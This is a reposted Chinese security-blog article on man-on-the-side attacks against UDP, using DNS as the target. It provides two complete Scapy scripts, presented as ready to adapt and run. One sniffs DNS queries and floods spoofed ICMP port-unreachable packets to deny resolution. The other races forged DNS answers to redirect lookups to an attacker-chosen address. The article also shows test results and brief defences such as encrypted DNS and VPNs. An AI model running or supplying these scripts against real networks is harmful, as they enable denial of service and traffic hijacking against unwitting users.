安全路透社
当前位置:安全路透社 > 网络转载 > 正文

MOTS攻击之UDP攻击

* 原创作者:feiniao

MOTS攻击之UDP攻击

1.  废话

前段时间写了篇文章介绍MOTS攻击的原理及相关的攻击方式,当时只是了解其原理,没有通过程序具体实现。这段时间抽时间学习了Python,花了几天晚上时间用Python实现了UDP的攻击代码。对于TCP这块的攻击找时间再完善一下相关代码。

对于MOTS攻击方式不了解的同学们可以翻翻我上篇文章,《MOTS攻击技术分析》。底层原理是关键,程序实现只是侧面佐证。

废话不多说,直接奔主题。大家都知道,UDP是没有面向连接的,不可靠的,因此对其攻击主要有两种方式:DOS攻击与UDP欺骗

2.  DOS攻击

2.1 原理

因为UDP是无连接的,同一个连接中的报文与前面或后面的报文都没有直接关系。因此对其DOS攻击不像TCP那样只需要发送一个reset包就可以干掉一个TCP连接那样简单,针对UDP的DOS需要将每个报文都DOS掉,不然应用层的重传机制还是会重传相应数据以保持会话与交互的数据完整。因此针对UDP的DOS攻击一般情况下都是针对UDP的轻量化应用进行攻击,如DNS这种小量交互的报文,而不是P2P这种大量报文交互的应用。

DNS的交互相对较简单,正常情况下,一个DNS查询与一个响应。下图可见DNS的应用非常轻量化,一个DNS查询,一个DNS响应。简洁灵巧,轻量化。

因此对其进行DOS非常简单,只需要监听网络中的DNS流量,有DNS查询时,直接返回一个ICMP Port unreachable报文即可,表示端口没有开放。若为TCP的应用,其端口没有开放时,一般回应一个reset报文。并且有一点一定要保证,就是ICMP port unreachable报文一定要比正常的DNS 响应报文早到客户端,这样才可以达到DOS的效果。

MOTS攻击之UDP攻击

2.2 实现

要实现对UDP应用的DOS,我们以DNS为例,需要按照以下几步实现:

1、构造ICMP Port Unreachable报文

2、监听网络中的DNS查询报文

3、监听到DNS查询报文时,响应ICMP port unreachable报文

2.2.1  安装scapy库

实现UDP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip3 install scapy-python3来安装。

2.2.2  构造ICMP Port Unreachable报文

 ICMP Port Unreachable报文的具体格式如下,大家可以根据数据包结构来构造。

MOTS攻击之UDP攻击

具体构造时要按照scapy所支持的格式来构造,scapy库支持的icmp报文结构格式如下:

MOTS攻击之UDP攻击

2.2.3  监听并攻击

攻击代码如下,大家可以根据实际情况修改:

#coding:utf-8

'''

date:2017-07-05

author:feiniao

Version:1.0

'''

from scapy.all import *

import random

'''

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=''绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

'''

conf.iface='Intel(R) Dual Band Wireless-AC 8260'

#DNS响应的地址,随机ip字段的id和ttl

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

def buying(mots):

resp = Ether()/IP()/ICMP()/IP()/UDP()

#构造ICMP报文

resp[ICMP].type = 3

resp[ICMP].code = 3

resp[ICMP][IP].src = mots[IP].src

resp[ICMP][IP].dst = mots[IP].dst

resp[ICMP][IP].ttl = ipttl

resp[ICMP][IP].id = ipid

resp[ICMP][UDP].sport = mots[UDP].sport

resp[ICMP][UDP].dport = mots[UDP].dport

#构造IP包头

resp[IP].src = mots[IP].dst

resp[IP].dst = mots[IP].src

resp[IP].ttl = ipttl

resp[IP].id  = ipid

#构造以太网包头

resp[Ether].src = mots[Ether].dst

resp[Ether].dst = mots[Ether].src

#发送构造的ICMP响应包

sendp(resp,count = 30)

if __name__ == '__main__':

sniff(prn=buying,filter="udp dst port 53")

找到攻击程序所在的目录,直接输入pythondnsdos.py即可。

在实际测试时,上来就遇到一个坑。

由于DNS使用UDP,而UDP是一种不可靠的协议,其存在丢包的可能,因此DNS为了保证应用的可靠性,一般的DNS查询都是发送多个,当前面一个查询失败时,会继续发送DNS查询报文。个人测试是发送四个DNS查询。测试时,发现第一个DNS查询被DOS了,但是第二个DNS时却被正常响应了。所以导致DNS结果还是正常的。

MOTS攻击之UDP攻击

怎么达到最大程度满足实际需求可以达到对DNS的DOS效果,个人有一个思路:因为DNS多个查询报文的间隔都非常短,因此监听程序可以在收到DNS查询时连续发送多个ICMP port unreachable报文,如100个(代码中已做优化,发送30个),这样的话可以很大可能保证每个DNS查询最早收到的都是构造的ICMP port unreachable报文,而不是正常的DNS响应报文,这样的话就可以达到DOD效果,实测效果如下:

MOTS攻击之UDP攻击

2.3 斗争

2.3.1  DNS加密

DNS加密这种方法个人感觉最靠谱!

举个栗子:cisco的opendns解决方案,大家有时间可以实测一下。

https://www.opendns.com/about/innovations/dnscrypt/

2.3.2  代理、VPN

大家各行搜索,不废话。

3.  UDP欺骗

3.1 原理

很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。实际攻击还是攻击轻量化的应用,流量较大的攻击效果不一定明显,且成本很大。还是以DNS为测试目标吧。DNS污染在运营商里做的比较多,原理很简单:利益。并且其实现起来具有天然优势,可以在关键链路和节点进行分光监听并发送伪造的数据包。

3.2 实现

代码如下,运行很简单,

#coding:utf-8

'''

date:2017-07-05

author:feiniao

Version:1.0

'''

from scapy.all import *

import random

'''

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=''绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

'''

conf.iface='Intel(R) Dual Band Wireless-AC 8260'

#DNS响应的地址,随机ip字段的id和ttl

rdata = "1.2.3.4"

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

def buying(mots):

resp = Ether()/IP()/UDP()/DNS() 

#构造DNS相关字段

resp[DNS].qr = 1

resp[DNS].rd = 1

resp[DNS].qdcount = 1 

resp[DNS].ancount = 1

resp[DNS].id = mots[DNS].id

resp[DNS].qd = mots[DNS].qd

resp[DNS].an = DNSRR(type='A',rclass='IN',ttl=1800,rdata=rdata)

resp[DNS].an.rrname = mots[DNS].qd.qname

#构造UDP相关字段

resp[UDP].dport = mots[UDP].sport

resp[UDP].sport = mots[UDP].dport

#构造IP包头

resp[IP].src = mots[IP].dst

resp[IP].dst = mots[IP].src

resp[IP].ttl = ipttl

resp[IP].id  = ipid

#构造以太网包头

resp[Ether].src = mots[Ether].dst

resp[Ether].dst = mots[Ether].src

#发送构造的DNS响应包

sendp(resp)

print("DNS响应为:",mots[DNS].qd.qname,'->',rdata)

if __name__ == '__main__':

sniff(prn=buying,filter="udp dst port 53")

攻击效果如下,可以看到,伪造的DNS报文都是比正常的响应早到的。

MOTS攻击之UDP攻击

MOTS攻击之UDP攻击

3.3 斗争

3.3.1  DNS加密

参考Cisco的OpenDNS

3.3.2  代理、VPN

翻墙,最好个人购买VPS搭建或者国外商业化的服务和产品,国内提供免费的墙可能有鬼。你懂的!

3.3.3  协议优化

延迟处理,收到DNS的响应包后,系统进程不是立即采取该值,而是延迟一段时间,如20ms,若没有再次收到DNS响应报文,则采取该值;若收到不同的DNS响应报文,则做深度识别,如分析ip id,ttl等来判断数据包的真实性或者二次发送DNS查询报文。具体可以参考上篇文章。不过这些技术太low,攻击时也可以在这些层面做优化与改进。

* 原创作者:feiniao

未经允许不得转载:安全路透社 » MOTS攻击之UDP攻击

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册